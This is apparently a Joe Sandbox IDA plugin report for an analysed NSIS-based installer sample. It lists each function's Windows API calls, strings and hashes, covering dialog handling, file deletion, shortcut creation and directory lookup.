ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033D2,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction ID: 6ac59f4cb3fe35c1316d0bdd9a7bfda3bd496f009ebd6252a63c396af269f63e
Opcode Fuzzy Hash: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction Fuzzy Hash: 17E08C32650118FFDB109EA69C84EE73B5CFB047A2F00C432BD55E5190DA30DA00EBA4

Function 004037F8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

CreateDirectoryW.KERNELBASE(004E30C8,00000000,004E30C8,004E30C8,004E30C8,-00000002,00403A37), ref: 00403819

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction ID: c72586207ca4fe3275e323c6ce7a55902ce0015f7edb1a19efdc0f2786dab76c
Opcode Fuzzy Hash: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction Fuzzy Hash: 52D0921218293121C66237663D0ABCF195C4F92B2EB0280B7F942B61D69B6C4A9285EE

Function 00403DDB Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction ID: 85c9fcbfeeb581dd75f9c62538f5ff43d76368f59f1a6e3d2bff8e12452ff276
Opcode Fuzzy Hash: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction Fuzzy Hash: 0FC04C75644201BBDA108B509D45F077759AB90701F1584257615F50E0C674D550D62C

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403786,?,?,?,?,00000000,00403A73,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction ID: a45aac6c24818fd8413ddab5752014fb5f73d741524c96ff6ff4c62981ea4fba
Opcode Fuzzy Hash: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction Fuzzy Hash: 83B01231640200FFEA214F50DE09F06BB21B794700F208430B350380F082711820EB0C

Function 00403DC4 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction ID: 19f7ed481b0b3084dfc48602985d3e47af739273f13ec77122cd0735a5794091
Opcode Fuzzy Hash: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction Fuzzy Hash: CCB01235181200BBDE514B00DE0AF867F62F7A8701F008574B305640F0C6B204E0DB09

Function 00403DB1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00405779), ref: 00403DBB

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction ID: a171dc49094d5971c6211130fd655c06747b54d01a1b52cbafa865c71f5bacad
Opcode Fuzzy Hash: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction Fuzzy Hash: 2CA001BA845500ABCA439B60EF0988ABA62BBA5701B11897AE6565103587325864EB19

Non-executed Functions

Function 004049A8 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049BF
GetDlgItem.USER32(?,00000408), ref: 004049CC
GlobalAlloc.KERNEL32(00000040,?), ref: 00404A1B
LoadBitmapW.USER32(0000006E), ref: 00404A2E
SetWindowLongW.USER32(?,000000FC,Function_000048F8), ref: 00404A48
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A5A
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A6E
SendMessageW.USER32(?,00001109,00000002), ref: 00404A84
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A90
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404AA0
DeleteObject.GDI32(?), ref: 00404AA5
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AD0
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ADC
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B7D
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404BA0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404BB1
GetWindowLongW.USER32(?,000000F0), ref: 00404BDB
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BEA
ShowWindow.USER32(?,00000005), ref: 00404BFB
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CF9
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D54
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D69
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D8D
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DB3
ImageList_Destroy.COMCTL32(?), ref: 00404DC8
GlobalFree.KERNEL32(?), ref: 00404DD8
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E48
SendMessageW.USER32(?,00001102,?,?), ref: 00404EF6
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404F05
InvalidateRect.USER32(?,00000000,00000001), ref: 00404F25
ShowWindow.USER32(?,00000000), ref: 00404F75
GetDlgItem.USER32(?,000003FE), ref: 00404F80
ShowWindow.USER32(00000000), ref: 00404F87

Strings

N, xrefs: 00404C32
M, xrefs: 00404B6F
@, xrefs: 00404BBC
, xrefs: 00404F65

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction ID: ef4bce446953bc7ec7e60756d12a1063aab4f745b4df8f164389f1335a379dc2
Opcode Fuzzy Hash: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction Fuzzy Hash: 7B028DB090020AAFEF109F95CD45AAE7BB5FB84314F10417AF611BA2E1C7B89D91CF58

Function 00406CC7 Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004CF0A0), ref: 00406CE4
lstrcatW.KERNEL32(00467470,\*.*,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D35
lstrcatW.KERNEL32(?,00409838,?,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D55
lstrlenW.KERNEL32(?), ref: 00406D58
FindFirstFileW.KERNEL32(00467470,?), ref: 00406D6C
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E4E
FindClose.KERNEL32(?), ref: 00406E5F

Strings

ptF, xrefs: 00406D1A
\*.*, xrefs: 00406D2F
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EDC
RMDir: RemoveDirectory("%s"), xrefs: 00406E9B
Delete: DeleteFile("%s"), xrefs: 00406DE8
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E84
Delete: DeleteFile failed("%s"), xrefs: 00406E29
Delete: DeleteFile on Reboot("%s"), xrefs: 00406E0C
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406EBF

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*$ptF
API String ID: 2035342205-1650287579
Opcode ID: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction ID: e61cf0fe73e9c947a39cb72df690d6d83a08ee9d5dae9ef8ba60e8d8024aa79e
Opcode Fuzzy Hash: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction Fuzzy Hash: 3E51D225604305AADB11AB71CC49A7F37B89F41728F22803FF803761D2DB7C49A1D6AE

Function 004044D1 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 00404525
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404533
GetDlgItem.USER32(?,000003FB), ref: 00404553
GetAsyncKeyState.USER32(00000010), ref: 0040455A
GetDlgItem.USER32(?,000003F0), ref: 0040456F
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404580
SetWindowTextW.USER32(?,?), ref: 004045AF
SHBrowseForFolderW.SHELL32(?), ref: 00404669
lstrcmpiW.KERNEL32(0046E220,00451D98,00000000,?,?), ref: 004046A6
lstrcatW.KERNEL32(?,0046E220), ref: 004046B2
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004046C2
CoTaskMemFree.OLE32(00000000), ref: 00404674

Part of subcall function 00405CB0: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403FAD), ref: 00405CC3

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Part of subcall function 00403EA0: lstrcatW.KERNEL32(00000000,00000000,00476240,004D30A8,install.log,00405AC8,004D30A8,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006), ref: 00403EBB

GetDiskFreeSpaceW.KERNEL32(0044DD90,?,?,0000040F,?,0044DD90,0044DD90,?,00000000,0044DD90,?,?,000003FB,?), ref: 00404785
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004047A0

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00424179,74DF23A0,00000000), ref: 00406902

SetDlgItemTextW.USER32(00000000,00000400,0040A264), ref: 00404819

Strings

F, xrefs: 004046A0
A, xrefs: 00404662

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: F$A
API String ID: 3347642858-1281894373
Opcode ID: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction ID: 610cab7253faed09e83e35c18a41c8795a2522a57bd741f73bb79fe4ae4f2c97
Opcode Fuzzy Hash: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction Fuzzy Hash: A3B181B1900209BBDB11AFA1CC85AAF7BB8EF45315F10843BFA05B72D1D77C9A418B59

Function 00406EFE Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F5C
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FD5
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FE1
lstrcmpA.KERNEL32(name,?), ref: 00406FF3
CloseHandle.KERNEL32(?), ref: 00407212

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

%s: failed opening file "%s", xrefs: 00406F38
GetTTFNameString, xrefs: 00406F33
name, xrefs: 00406FEB

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction ID: 0b41acfa2c3272d6dc61f6848418d9961a63ce1f0aee58dce5ac99f5834af97b
Opcode Fuzzy Hash: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction Fuzzy Hash: 8491CB70D1412DAADF05EBE5C9908FEBBBAEF58301F00406AF592F7290E2385A05DB75

Function 00406831 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00424179,74DF23A0,00000000), ref: 00406902
GetSystemDirectoryW.KERNEL32(0046E220,00002004), ref: 00406984

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetWindowsDirectoryW.KERNEL32(0046E220,00002004), ref: 00406997
lstrcatW.KERNEL32(0046E220,\Microsoft\Internet Explorer\Quick Launch), ref: 00406A11
lstrlenW.KERNEL32(0046E220,00445D80,?,00000000,00404FD5,00445D80,00000000,00424179,74DF23A0,00000000), ref: 00406A73

Strings

F, xrefs: 00406858
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406A0B
F, xrefs: 00406A7F
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406952

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: F$ F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-1792361021
Opcode ID: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction ID: 94ababd57b57874809535cfc920d07d17cc92350817822ff6505e5e4c02fddf3
Opcode Fuzzy Hash: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction Fuzzy Hash: 9E71D6B1A00112ABDF20AF69CC44A7A3775AB55314F12C13BE907B66E0E73C89A1DB59

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0040AC30,?,00000001,0040AC10,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction ID: 17e7a05f0d3b91d3be5025a92c0a08315d4604efbe7233a371b14ee5b096337f
Opcode Fuzzy Hash: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction Fuzzy Hash: 9E416E74A00205BFCB04EFA0CC99EAE7B79EF48314B20456AF915EB3D1C679A941CB54

Function 004079A2 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
Instruction ID: f621f802e1b16f1afd83cb625a9a5dfb13386b99c5f5a138cca70abed5397206
Opcode Fuzzy Hash: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
Instruction Fuzzy Hash: CEE17A71D04218DFCF14CF94D980AAEBBB1AF45301F1981ABEC55AF286D738AA41CF95

Function 0040737E Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
